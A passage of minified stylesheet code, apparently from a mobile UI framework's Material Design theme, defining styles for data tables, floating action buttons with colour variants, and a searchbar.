.sortable-cell.numeric-cell:not(.input-cell):before,.theme-dark .data-table .sortable-cell:not(.numeric-cell).input-cell>.table-head-label:after,.theme-dark .data-table .sortable-cell:not(.numeric-cell):not(.input-cell):after{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23fff'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M0%200h24v24H0V0z'%20fill%3D'none'%2F%3E%3Cpath%20d%3D'M20%2012l-1.41-1.41L13%2016.17V4h-2v12.17l-5.58-5.59L4%2012l8%208%208-8z'%20fill%3D'%23fff'%2F%3E%3C%2Fsvg%3E")}.md .data-table thead td,.md .data-table thead th{font-weight:500;height:56px;-webkit-box-sizing:border-box;box-sizing:border-box}.md .data-table thead td:not(.sortable-cell-active),.md .data-table thead th:not(.sortable-cell-active){color:rgba(0,0,0,.54)}.md .data-table thead i.icon,.md .data-table thead i.material-icons{font-size:16px;width:16px;height:16px}.md .data-table tbody{font-size:13px}.md .data-table tbody tr.data-table-row-selected{background:#f5f5f5}.md .data-table tbody td{height:48px}.md .data-table td,.md .data-table th{padding-left:28px;padding-right:28px}.md .data-table td.label-cell,.md .data-table th.label-cell{padding-left:24px;padding-right:24px}.md .data-table td:first-child,.md .data-table th:first-child{padding-left:24px}.md .data-table td:last-child,.md .data-table th:last-child{padding-right:24px}.md .data-table td.checkbox-cell,.md .data-table th.checkbox-cell{width:18px;padding-left:24px;padding-right:12px}.md .data-table td.checkbox-cell+td,.md .data-table td.checkbox-cell+th,.md .data-table th.checkbox-cell+td,.md .data-table th.checkbox-cell+th{padding-left:12px}.md .data-table td.actions-cell a.link,.md .data-table th.actions-cell a.link{color:rgba(0,0,0,.54)}.md .data-table td.actions-cell a.link+a.link,.md .data-table th.actions-cell a.link+a.link{margin-left:24px}.md .data-table td.actions-cell a.icon-only,.md .data-table th.actions-cell a.icon-only{width:24px;height:24px;line-height:24px}.md .sortable-cell:not(.numeric-cell):after{margin-left:8px}.md .sortable-cell.numeric-cell:before{margin-right:8px}.md .card .data-table .card-footer,.md .card .data-table .card-header,.md .data-table.card .card-footer,.md .data-table.card .card-header{padding-left:24px;padding-right:14px}.md .card .data-table .card-footer,.md .data-table.card .card-footer{height:56px}.md .data-table-title{font-size:20px}.md .data-table-actions a.link+a.link,.md .data-table-links a.link+a.link{margin-left:24px}.md .data-table-actions a.link{color:rgba(0,0,0,.54)}.md .data-table-actions a.link.icon-only{width:24px;height:24px;overflow:visible}.md .data-table-actions a.link.icon-only.active-state{background:0 0}.md .data-table .card-header>.data-table-header,.md .data-table .card-header>.data-table-header-selected{padding-left:24px;padding-right:14px;margin-left:-24px;margin-right:-14px;padding-top:4px;padding-bottom:4px;height:100%}.md .data-table-header-selected{background:rgba(33,150,243,.1)}.md .data-table-title-selected{color:#2196f3}.md .data-table tbody td:before{content:'';position:absolute;background-color:rgba(0,0,0,.12);display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.md.device-pixel-ratio-2 .data-table tbody td:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .data-table tbody td:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md.device-desktop .data-table tbody tr:hover{background:#f5f5f5}.md .data-table-footer{height:56px;color:rgba(0,0,0,.54)}.md .data-table-pagination a.link,.md .data-table-rows-select a.link{width:48px;height:48px}.md .data-table-pagination a.link:before,.md .data-table-rows-select a.link:before{content:'';width:152%;height:152%;position:absolute;left:-26%;top:-26%;background-image:-webkit-radial-gradient(center,circle,rgba(0,0,0,.1) 66%,rgba(0,0,0,0) 66%);background-image:radial-gradient(circle at center,rgba(0,0,0,.1) 66%,rgba(0,0,0,0) 66%);background-repeat:no-repeat;background-position:center;background-size:100% 100%;opacity:0;pointer-events:none;-webkit-transition-duration:.6s;transition-duration:.6s}.md .data-table-pagination a.link.active-state:before,.md .data-table-rows-select a.link.active-state:before{opacity:1;-webkit-transition-duration:150ms;transition-duration:150ms}.md .data-table-rows-select+.data-table-pagination{margin-left:32px}.md .data-table-rows-select .input{margin-left:24px}.md .data-table-pagination-label{margin-right:20px}.md .data-table-footer:before{content:'';position:absolute;background-color:rgba(0,0,0,.12);display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.md.device-pixel-ratio-2 .data-table-footer:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .data-table-footer:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md .input-cell{padding-top:8px;padding-bottom:8px;height:auto;vertical-align:top}.md .input-cell .table-head-label+.input{margin-top:4px}.md .input-cell .input{height:24px}.md .input-cell .input input,.md .input-cell .input select,.md .input-cell .input textarea{height:24px;color:#212121;font-size:14px}.md .input-cell .input .input-clear-button{-webkit-transform:scale(.8);transform:scale(.8)}@media (max-width:480px) and (orientation:portrait){.md .data-table.data-table-collapsible td{padding-left:16px;padding-right:16px}.md .data-table.data-table-collapsible td:not(.checkbox-cell):before{color:rgba(0,0,0,.54);font-weight:500;line-height:16px}.md .data-table-collapsible tr:before{content:'';position:absolute;background-color:rgba(0,0,0,.12);display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.md.device-pixel-ratio-2 .data-table-collapsible tr:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .data-table-collapsible tr:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}}.data-table.md .theme-dark .data-table-actions a.link,.data-table.md .theme-dark td.actions-cell a.link,.data-table.md .theme-dark th.actions-cell a.link,.data-table.md .theme-dark thead td:not(.sortable-cell-active),.data-table.md .theme-dark thead th:not(.sortable-cell-active),.md .theme-dark .data-table .data-table-actions a.link,.md .theme-dark .data-table td.actions-cell a.link,.md .theme-dark .data-table th.actions-cell a.link,.md .theme-dark .data-table thead td:not(.sortable-cell-active),.md .theme-dark .data-table thead th:not(.sortable-cell-active){color:rgba(255,255,255,.54)}.data-table.md .theme-dark .data-table-links a.link:before,.md .theme-dark .data-table .data-table-links a.link:before{content:'';width:152%;height:152%;position:absolute;left:-26%;top:-26%;background-image:-webkit-radial-gradient(center,circle,rgba(255,255,255,.15) 66%,rgba(255,255,255,0) 66%);background-image:radial-gradient(circle at center,rgba(255,255,255,.15) 66%,rgba(255,255,255,0) 66%);background-repeat:no-repeat;background-position:center;background-size:100% 100%;opacity:0;pointer-events:none;-webkit-transition-duration:.6s;transition-duration:.6s}.data-table.md .theme-dark .data-table-links a.link.active-state:before,.md .theme-dark .data-table .data-table-links a.link.active-state:before{opacity:1;-webkit-transition-duration:150ms;transition-duration:150ms}.data-table.md .theme-dark tbody td:before,.md .theme-dark .data-table tbody td:before{background-color:rgba(255,255,255,.08)}.data-table.md .theme-dark.data-table-collapsible tr:before,.md .theme-dark .data-table.data-table-collapsible tr:before{background-color:rgba(255,255,255,.08)}.data-table.md .theme-dark tbody tr.data-table-row-selected,.md .theme-dark .data-table tbody tr.data-table-row-selected{background-color:rgba(255,255,255,.05)}.md.device-desktop .theme-dark .data-table tbody tr:hover,.md.device-desktop .theme-dark.data-table tbody tr:hover{background-color:rgba(255,255,255,.05)}.md .color-theme-red .data-table-header-selected,.md .data-table-header-selected.color-red{background:rgba(244,67,54,.1)}.md .color-red .data-table-title-selected,.md .color-theme-red .data-table-title-selected{color:#f44336}.md .color-theme-green .data-table-header-selected,.md .data-table-header-selected.color-green{background:rgba(76,175,80,.1)}.md .color-green .data-table-title-selected,.md .color-theme-green .data-table-title-selected{color:#4caf50}.md .color-theme-blue .data-table-header-selected,.md .data-table-header-selected.color-blue{background:rgba(33,150,243,.1)}.md .color-blue .data-table-title-selected,.md .color-theme-blue .data-table-title-selected{color:#2196f3}.md .color-theme-pink .data-table-header-selected,.md .data-table-header-selected.color-pink{background:rgba(233,30,99,.1)}.md .color-pink .data-table-title-selected,.md .color-theme-pink .data-table-title-selected{color:#e91e63}.md .color-theme-yellow .data-table-header-selected,.md .data-table-header-selected.color-yellow{background:rgba(255,235,59,.1)}.md .color-theme-yellow .data-table-title-selected,.md .color-yellow .data-table-title-selected{color:#ffeb3b}.md .color-theme-orange .data-table-header-selected,.md .data-table-header-selected.color-orange{background:rgba(255,152,0,.1)}.md .color-orange .data-table-title-selected,.md .color-theme-orange .data-table-title-selected{color:#ff9800}.md .color-theme-gray .data-table-header-selected,.md .data-table-header-selected.color-gray{background:rgba(158,158,158,.1)}.md .color-gray .data-table-title-selected,.md .color-theme-gray .data-table-title-selected{color:#9e9e9e}.md .color-theme-white .data-table-header-selected,.md .data-table-header-selected.color-white{background:rgba(255,255,255,.1)}.md .color-theme-white .data-table-title-selected,.md .color-white .data-table-title-selected{color:#fff}.md .color-theme-black .data-table-header-selected,.md .data-table-header-selected.color-black{background:rgba(0,0,0,.1)}.md .color-black .data-table-title-selected,.md .color-theme-black .data-table-title-selected{color:#000}.fab{position:absolute;z-index:1500}.fab-buttons a,.fab>a{position:relative;-webkit-transition-duration:.3s;transition-duration:.3s;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;overflow:hidden;z-index:1}.fab>a i{position:absolute;left:50%;top:50%;-webkit-transform:translate3d(-50%,-50%,0) rotate(0) scale(1);transform:translate3d(-50%,-50%,0) rotate(0) scale(1);-webkit-transition:.3s;transition:.3s}.fab>a i+i{-webkit-transform:translate3d(-50%,-50%,0) rotate(-90deg) scale(.5);transform:translate3d(-50%,-50%,0) rotate(-90deg) scale(.5);opacity:0}.fab[class*=fab-center]{left:50%;-webkit-transform:translateX(-50%);transform:translateX(-50%)}.fab[class*=left-center],.fab[class*=right-center]{top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%)}.fab[class*=center-center]{top:50%;left:50%;-webkit-transform:translateX(-50%) translateY(-50%);transform:translateX(-50%) translateY(-50%)}.fab div.fab-buttons a{width:40px;height:40px}.fab-buttons{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;visibility:hidden;pointer-events:none;position:absolute}.fab-buttons a{opacity:0}.fab-opened:not(.fab-morph)>a i{-webkit-transform:translate3d(-50%,-50%,0) rotate(90deg) scale(.5);transform:translate3d(-50%,-50%,0) rotate(90deg) scale(.5);opacity:0}.fab-opened:not(.fab-morph)>a i+i{-webkit-transform:translate3d(-50%,-50%,0) rotate(0) scale(1);transform:translate3d(-50%,-50%,0) rotate(0) scale(1);opacity:1}.fab-opened .fab-buttons{visibility:visible;pointer-events:auto}.fab-opened .fab-buttons a{opacity:1;-webkit-transform:translate3d(0,0,0) scale(1)!important;transform:translate3d(0,0,0) scale(1)!important}.fab-opened .fab-buttons a:nth-child(2){-webkit-transition-delay:50ms;transition-delay:50ms}.fab-opened .fab-buttons a:nth-child(3){-webkit-transition-delay:.1s;transition-delay:.1s}.fab-opened .fab-buttons a:nth-child(4){-webkit-transition-delay:150ms;transition-delay:150ms}.fab-opened .fab-buttons a:nth-child(5){-webkit-transition-delay:.2s;transition-delay:.2s}.fab-opened .fab-buttons a:nth-child(6){-webkit-transition-delay:250ms;transition-delay:250ms}.fab-buttons-bottom,.fab-buttons-top{left:50%;width:40px;margin-left:-20px}.fab-buttons-top{bottom:100%;margin-bottom:16px;-webkit-box-orient:vertical;-webkit-box-direction:reverse;-webkit-flex-direction:column-reverse;-ms-flex-direction:column-reverse;flex-direction:column-reverse}.fab-buttons-top a{-webkit-transform:translate3d(0,8px,0) scale(.3);transform:translate3d(0,8px,0) scale(.3);-webkit-transform-origin:center bottom;transform-origin:center bottom}.fab-buttons-top a+a{margin-bottom:16px}.fab-buttons-bottom{top:100%;margin-top:16px;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column}.fab-buttons-bottom a{-webkit-transform:translate3d(0,-8px,0) scale(.3);transform:translate3d(0,-8px,0) scale(.3);-webkit-transform-origin:center top;transform-origin:center top}.fab-buttons-bottom a+a{margin-top:16px}.fab-buttons-left,.fab-buttons-right{top:50%;height:40px;margin-top:-20px}.fab-buttons-left{right:100%;margin-right:16px;-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-webkit-flex-direction:row-reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse}.fab-buttons-left a{-webkit-transform:translate3d(8px,0,0) scale(.3);transform:translate3d(8px,0,0) scale(.3);-webkit-transform-origin:right center;transform-origin:right center}.fab-buttons-left a+a{margin-right:16px}.fab-buttons-right{left:100%;margin-left:16px}.fab-buttons-right a{-webkit-transform:translate3d(-8px,0,0) scale(.3);transform:translate3d(-8px,0,0) scale(.3);-webkit-transform-origin:left center;transform-origin:left center}.fab-buttons-right a+a{margin-left:16px}.fab-buttons-center{left:0;top:0;width:100%;height:100%}.fab-buttons-center a{position:absolute}.fab-buttons-center a:nth-child(1){left:50%;margin-left:-20px;bottom:100%;margin-bottom:16px;-webkit-transform:translateY(-8px) scale(.3);transform:translateY(-8px) scale(.3);-webkit-transform-origin:center bottom;transform-origin:center bottom}.fab-buttons-center a:nth-child(2){left:100%;margin-top:-20px;top:50%;margin-left:16px;-webkit-transform:translateX(-8px) scale(.3);transform:translateX(-8px) scale(.3);-webkit-transform-origin:left center;transform-origin:left center}.fab-buttons-center a:nth-child(3){left:50%;margin-left:-20px;top:100%;margin-top:16px;-webkit-transform:translateY(8px) scale(.3);transform:translateY(8px) scale(.3);-webkit-transform-origin:center top;transform-origin:center top}.fab-buttons-center a:nth-child(4){right:100%;margin-top:-20px;top:50%;margin-right:16px;-webkit-transform:translateX(8px) scale(.3);transform:translateX(8px) scale(.3);-webkit-transform-origin:right center;transform-origin:right center}.fab-opened.fab-morph>a i{opacity:0}.fab-morph,.fab-morph-target,.fab-morph>a{-webkit-transition-duration:250ms;transition-duration:250ms}.fab-morph-target:not(.fab-morph-target-visible){display:none}.fab-extended{width:auto}.fab-extended>a{width:100%!important}.fab-text{padding-left:20px;padding-right:20px;-webkit-box-sizing:border-box;box-sizing:border-box;font-size:14px;text-transform:uppercase}.fab-label-button{overflow:visible!important}.fab-label{position:absolute;top:50%;padding:4px 12px;border-radius:4px;background:#fff;color:#333;white-space:nowrap;-webkit-transform:translateY(-50%);transform:translateY(-50%);pointer-events:none}.fab[class*=fab-right-] .fab-label{right:100%;margin-right:8px}.fab[class*=fab-left-] .fab-label{left:100%;margin-left:8px}.md .fab-buttons a,.md .fab>a{background:#2196f3;width:56px;height:56px;border-radius:28px;color:#fff;-webkit-box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 6px 10px 0 rgba(0,0,0,.14),0 1px 18px 0 rgba(0,0,0,.12);box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 6px 10px 0 rgba(0,0,0,.14),0 1px 18px 0 rgba(0,0,0,.12)}.md .fab-buttons a.active-state,.md .fab>a.active-state{background:#0c82df}.md .fab[class*=fab-left]{left:15px}.md .fab[class*=fab-right]{right:15px}.md .fab[class*="-top"]{top:15px}.md .fab[class*="-bottom"]{bottom:15px}.md .navbar~* .fab[class*="-top"],.md .navbar~.fab[class*="-top"]{margin-top:56px}@media (min-width:768px){.md .navbar~* .fab[class*="-top"],.md .navbar~.fab[class*="-top"]{margin-top:64px}}.md .toolbar:not(.toolbar-bottom-md):not(.messagebar)~* .fab[class*="-top"],.md .toolbar:not(.toolbar-bottom-md):not(.messagebar)~.fab[class*="-top"]{margin-top:48px}.md .tabbar-labels:not(.toolbar-bottom-md)~* .fab[class*="-top"],.md .tabbar-labels:not(.toolbar-bottom-md)~.fab[class*="-top"]{margin-top:72px}.md .navbar+.toolbar:not(.toolbar-bottom-md):not(.messagebar)~* .fab[class*="-top"],.md .navbar+.toolbar:not(.toolbar-bottom-md):not(.messagebar)~.fab[class*="-top"]{margin-top:104px}.md .navbar+.tabbar-labels:not(.toolbar-bottom-md)~* .fab[class*="-top"],.md .navbar+.tabbar-labels:not(.toolbar-bottom-md)~.fab[class*="-top"]{margin-top:128px}@media (min-width:768px){.md .navbar+.toolbar:not(.toolbar-bottom-md):not(.messagebar)~* .fab[class*="-top"],.md .navbar+.toolbar:not(.toolbar-bottom-md):not(.messagebar)~.fab[class*="-top"]{margin-top:112px}.md .navbar+.tabbar-labels:not(.toolbar-bottom-md)~* .fab[class*="-top"],.md .navbar+.tabbar-labels:not(.toolbar-bottom-md)~.fab[class*="-top"]{margin-top:136px}}.md .messagebar~* .fab[class*="-bottom"],.md .messagebar~.fab[class*="-bottom"],.md .toolbar-bottom-md~* .fab[class*="-bottom"],.md .toolbar-bottom-md~.fab[class*="-bottom"]{margin-bottom:48px}.md .toolbar-bottom-md.tabbar-labels~* .fab[class*="-bottom"],.md .toolbar-bottom-md.tabbar-labels~.fab[class*="-bottom"]{margin-bottom:72px}.md .fab-morph{border-radius:28px;background:#2196f3;-webkit-box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 6px 10px 0 rgba(0,0,0,.14),0 1px 18px 0 rgba(0,0,0,.12);box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 6px 10px 0 rgba(0,0,0,.14),0 1px 18px 0 rgba(0,0,0,.12)}.md .fab-morph>a{-webkit-box-shadow:none;box-shadow:none;background:0 0!important}.md .fab-extended{min-width:48px}.md .fab-extended>a{height:48px}.md .fab-extended>a i{left:24px}.md .fab-extended i~.fab-text{padding-left:48px}.md .fab-text{font-weight:500;letter-spacing:.03em}.md .fab-label{-webkit-box-shadow:0 3px 3px -2px rgba(0,0,0,.2),0 3px 4px 0 rgba(0,0,0,.14),0 1px 8px 0 rgba(0,0,0,.12);box-shadow:0 3px 3px -2px rgba(0,0,0,.2),0 3px 4px 0 rgba(0,0,0,.14),0 1px 8px 0 rgba(0,0,0,.12)}.md .color-theme-red .fab-buttons a,.md .color-theme-red .fab>a,.md .color-theme-red.fab-buttons a,.md .color-theme-red.fab>a{background:#f44336}.md .color-theme-red .fab-buttons a.active-state,.md .color-theme-red .fab>a.active-state,.md .color-theme-red.fab-buttons a.active-state,.md .color-theme-red.fab>a.active-state{background:#f21f0f}.md .color-theme-red .fab-morph,.md .color-theme-red.fab-morph{background:#f44336}.md .color-theme-green .fab-buttons a,.md .color-theme-green .fab>a,.md .color-theme-green.fab-buttons a,.md .color-theme-green.fab>a{background:#4caf50}.md .color-theme-green .fab-buttons a.active-state,.md .color-theme-green .fab>a.active-state,.md .color-theme-green.fab-buttons a.active-state,.md .color-theme-green.fab>a.active-state{background:#409343}.md .color-theme-green .fab-morph,.md .color-theme-green.fab-morph{background:#4caf50}.md .color-theme-blue .fab-buttons a,.md .color-theme-blue .fab>a,.md .color-theme-blue.fab-buttons a,.md .color-theme-blue.fab>a{background:#2196f3}.md .color-theme-blue .fab-buttons a.active-state,.md .color-theme-blue .fab>a.active-state,.md .color-theme-blue.fab-buttons a.active-state,.md .color-theme-blue.fab>a.active-state{background:#0c82df}.md .color-theme-blue .fab-morph,.md .color-theme-blue.fab-morph{background:#2196f3}.md .color-theme-pink .fab-buttons a,.md .color-theme-pink .fab>a,.md .color-theme-pink.fab-buttons a,.md .color-theme-pink.fab>a{background:#e91e63}.md .color-theme-pink .fab-buttons a.active-state,.md .color-theme-pink .fab>a.active-state,.md .color-theme-pink.fab-buttons a.active-state,.md .color-theme-pink.fab>a.active-state{background:#ca1452}.md .color-theme-pink .fab-morph,.md .color-theme-pink.fab-morph{background:#e91e63}.md .color-theme-yellow .fab-buttons a,.md .color-theme-yellow .fab>a,.md .color-theme-yellow.fab-buttons a,.md .color-theme-yellow.fab>a{background:#ffeb3b}.md .color-theme-yellow .fab-buttons a.active-state,.md .color-theme-yellow .fab>a.active-state,.md .color-theme-yellow.fab-buttons a.active-state,.md .color-theme-yellow.fab>a.active-state{background:#ffe712}.md .color-theme-yellow .fab-morph,.md .color-theme-yellow.fab-morph{background:#ffeb3b}.md .color-theme-orange .fab-buttons a,.md .color-theme-orange .fab>a,.md .color-theme-orange.fab-buttons a,.md .color-theme-orange.fab>a{background:#ff9800}.md .color-theme-orange .fab-buttons a.active-state,.md .color-theme-orange .fab>a.active-state,.md .color-theme-orange.fab-buttons a.active-state,.md .color-theme-orange.fab>a.active-state{background:#d68000}.md .color-theme-orange .fab-morph,.md .color-theme-orange.fab-morph{background:#ff9800}.md .color-theme-gray .fab-buttons a,.md .color-theme-gray .fab>a,.md .color-theme-gray.fab-buttons a,.md .color-theme-gray.fab>a{background:#9e9e9e}.md .color-theme-gray .fab-buttons a.active-state,.md .color-theme-gray .fab>a.active-state,.md .color-theme-gray.fab-buttons a.active-state,.md .color-theme-gray.fab>a.active-state{background:#8a8a8a}.md .color-theme-gray .fab-morph,.md .color-theme-gray.fab-morph{background:#9e9e9e}.md .color-theme-white .fab-buttons a,.md .color-theme-white .fab>a,.md .color-theme-white.fab-buttons a,.md .color-theme-white.fab>a{background:#fff}.md .color-theme-white .fab-buttons a.active-state,.md .color-theme-white .fab>a.active-state,.md .color-theme-white.fab-buttons a.active-state,.md .color-theme-white.fab>a.active-state{background:#ebebeb}.md .color-theme-white .fab-morph,.md .color-theme-white.fab-morph{background:#fff}.md .color-theme-black .fab-buttons a,.md .color-theme-black .fab>a,.md .color-theme-black.fab-buttons a,.md .color-theme-black.fab>a{background:#000}.md .color-theme-black .fab-buttons a.active-state,.md .color-theme-black .fab>a.active-state,.md .color-theme-black.fab-buttons a.active-state,.md .color-theme-black.fab>a.active-state{background:#000}.md .color-theme-black .fab-morph,.md .color-theme-black.fab-morph{background:#000}.md .fab .fab-buttons>a.color-red,.md .fab-buttons.color-red a,.md .fab.color-red .fab-buttons>a,.md .fab.color-red>a,.md .fab>a.color-red{background:#f44336}.md .fab .fab-buttons>a.color-red.active-state,.md .fab-buttons.color-red a.active-state,.md .fab.color-red .fab-buttons>a.active-state,.md .fab.color-red>a.active-state,.md .fab>a.color-red.active-state{background:#f21f0f}.md .fab-morph.color-red{background:#f44336}.md .fab .fab-buttons>a.color-green,.md .fab-buttons.color-green a,.md .fab.color-green .fab-buttons>a,.md .fab.color-green>a,.md .fab>a.color-green{background:#4caf50}.md .fab .fab-buttons>a.color-green.active-state,.md .fab-buttons.color-green a.active-state,.md .fab.color-green .fab-buttons>a.active-state,.md .fab.color-green>a.active-state,.md .fab>a.color-green.active-state{background:#409343}.md .fab-morph.color-green{background:#4caf50}.md .fab .fab-buttons>a.color-blue,.md .fab-buttons.color-blue a,.md .fab.color-blue .fab-buttons>a,.md .fab.color-blue>a,.md .fab>a.color-blue{background:#2196f3}.md .fab .fab-buttons>a.color-blue.active-state,.md .fab-buttons.color-blue a.active-state,.md .fab.color-blue .fab-buttons>a.active-state,.md .fab.color-blue>a.active-state,.md .fab>a.color-blue.active-state{background:#0c82df}.md .fab-morph.color-blue{background:#2196f3}.md .fab .fab-buttons>a.color-pink,.md .fab-buttons.color-pink a,.md .fab.color-pink .fab-buttons>a,.md .fab.color-pink>a,.md .fab>a.color-pink{background:#e91e63}.md .fab .fab-buttons>a.color-pink.active-state,.md .fab-buttons.color-pink a.active-state,.md .fab.color-pink .fab-buttons>a.active-state,.md .fab.color-pink>a.active-state,.md .fab>a.color-pink.active-state{background:#ca1452}.md .fab-morph.color-pink{background:#e91e63}.md .fab .fab-buttons>a.color-yellow,.md .fab-buttons.color-yellow a,.md .fab.color-yellow .fab-buttons>a,.md .fab.color-yellow>a,.md .fab>a.color-yellow{background:#ffeb3b}.md .fab .fab-buttons>a.color-yellow.active-state,.md .fab-buttons.color-yellow a.active-state,.md .fab.color-yellow .fab-buttons>a.active-state,.md .fab.color-yellow>a.active-state,.md .fab>a.color-yellow.active-state{background:#ffe712}.md .fab-morph.color-yellow{background:#ffeb3b}.md .fab .fab-buttons>a.color-orange,.md .fab-buttons.color-orange a,.md .fab.color-orange .fab-buttons>a,.md .fab.color-orange>a,.md .fab>a.color-orange{background:#ff9800}.md .fab .fab-buttons>a.color-orange.active-state,.md .fab-buttons.color-orange a.active-state,.md .fab.color-orange .fab-buttons>a.active-state,.md .fab.color-orange>a.active-state,.md .fab>a.color-orange.active-state{background:#d68000}.md .fab-morph.color-orange{background:#ff9800}.md .fab .fab-buttons>a.color-gray,.md .fab-buttons.color-gray a,.md .fab.color-gray .fab-buttons>a,.md .fab.color-gray>a,.md .fab>a.color-gray{background:#9e9e9e}.md .fab .fab-buttons>a.color-gray.active-state,.md .fab-buttons.color-gray a.active-state,.md .fab.color-gray .fab-buttons>a.active-state,.md .fab.color-gray>a.active-state,.md .fab>a.color-gray.active-state{background:#8a8a8a}.md .fab-morph.color-gray{background:#9e9e9e}.md .fab .fab-buttons>a.color-white,.md .fab-buttons.color-white a,.md .fab.color-white .fab-buttons>a,.md .fab.color-white>a,.md .fab>a.color-white{background:#fff}.md .fab .fab-buttons>a.color-white.active-state,.md .fab-buttons.color-white a.active-state,.md .fab.color-white .fab-buttons>a.active-state,.md .fab.color-white>a.active-state,.md .fab>a.color-white.active-state{background:#ebebeb}.md .fab-morph.color-white{background:#fff}.md .fab .fab-buttons>a.color-black,.md .fab-buttons.color-black a,.md .fab.color-black .fab-buttons>a,.md .fab.color-black>a,.md .fab>a.color-black{background:#000}.md .fab .fab-buttons>a.color-black.active-state,.md .fab-buttons.color-black a.active-state,.md .fab.color-black .fab-buttons>a.active-state,.md .fab.color-black>a.active-state,.md .fab>a.color-black.active-state{background:#000}.md .fab-morph.color-black{background:#000}.md.device-iphone-x .fab[class*="-bottom"]{bottom:calc(16px + constant(safe-area-inset-bottom));bottom:calc(16px + env(safe-area-inset-bottom))}@media (orientation:landscape){.md.device-iphone-x .ios-edges .fab[class*=fab-left],.md.device-iphone-x .ios-left-edge .fab[class*=fab-left],.md.device-iphone-x .panel-left .fab[class*=fab-left],.md.device-iphone-x .popup .fab[class*=fab-left],.md.device-iphone-x .sheet-modal .fab[class*=fab-left]{left:calc(16px + constant(safe-area-inset-left));left:calc(16px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .fab[class*=fab-right],.md.device-iphone-x .ios-right-edge .fab[class*=fab-right],.md.device-iphone-x .panel-right .fab[class*=fab-right],.md.device-iphone-x .popup .fab[class*=fab-right],.md.device-iphone-x .sheet-modal .fab[class*=fab-right]{right:calc(16px + constant(safe-area-inset-right));right:calc(16px + env(safe-area-inset-right))}}.searchbar{width:100%;position:relative;z-index:200}.searchbar .searchbar-input-wrap{-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;width:100%;height:100%;position:relative}.searchbar .searchbar-input-wrap input[type=search]{padding:0}.searchbar .searchbar-input-wrap input::-webkit-search-cancel-button{-webkit-appearance:none;appearance:none}.page>.searchbar{position:absolute;left:0;top:0}.searchbar-expandable{position:absolute;-webkit-transition-duration:.3s;transition-duration:.3s;pointer-events:none}.searchbar-inner{position:absolute;left:0;top:0;width:100%;height:100%;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-sizing:border-box;box-sizing:border-box}.searchbar-disable-button{cursor:pointer;pointer-events:none;-webkit-appearance:none;-moz-appearance:none;appearance:none;background:0 0;border:none;outline:0;padding:0;margin:0;width:auto;opacity:0}.searchbar-icon{pointer-events:none;background-position:center;background-repeat:no-repeat}.searchbar-backdrop{position:absolute;left:0;top:0;width:100%;height:100%;z-index:100;opacity:0;pointer-events:none;-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.searchbar-backdrop.searchbar-backdrop-in{opacity:1;pointer-events:auto}.page-content>.searchbar-backdrop{position:fixed}.searchbar-not-found{display:none}.hidden-by-searchbar,.list .hidden-by-searchbar,.list li.hidden-by-searchbar,.list.li.hidden-by-searchbar{display:none!important}.md .searchbar{height:48px;background:#fff}.md .searchbar input[type=search],.md .searchbar input[type=text]{padding-left:65px;padding-right:48px;-webkit-box-sizing:border-box;box-sizing:border-box;width:100%;height:100%;display:block;border:none;-webkit-appearance:none;-moz-appearance:none;appearance:none;font-family:inherit;font-size:20px;color:#000;font-weight:400}.md .searchbar input[type=search]::-webkit-input-placeholder,.md .searchbar input[type=text]::-webkit-input-placeholder{color:#939398;opacity:1}.md .searchbar input[type=search]:-ms-input-placeholder,.md .searchbar input[type=text]:-ms-input-placeholder{color:#939398;opacity:1}.md .searchbar input[type=search]::-ms-input-placeholder,.md .searchbar input[type=text]::-ms-input-placeholder{color:#939398;opacity:1}.md .searchbar input[type=search]::placeholder,.md .searchbar input[type=text]::placeholder{color:#939398;opacity:1}.md .searchbar-expandable{height:100%}.md .searchbar-backdrop{background:rgba(0,0,0,.25)}.md .searchbar-disable-button,.md .searchbar-icon{position:absolute;width:48px;height:48px;left:-4px;top:50%;margin-top:-24px;background-size:24px 24px;background-repeat:no-repeat;background-position:center;-webkit-transition-duration:.3s;transition-duration:.3s}.md 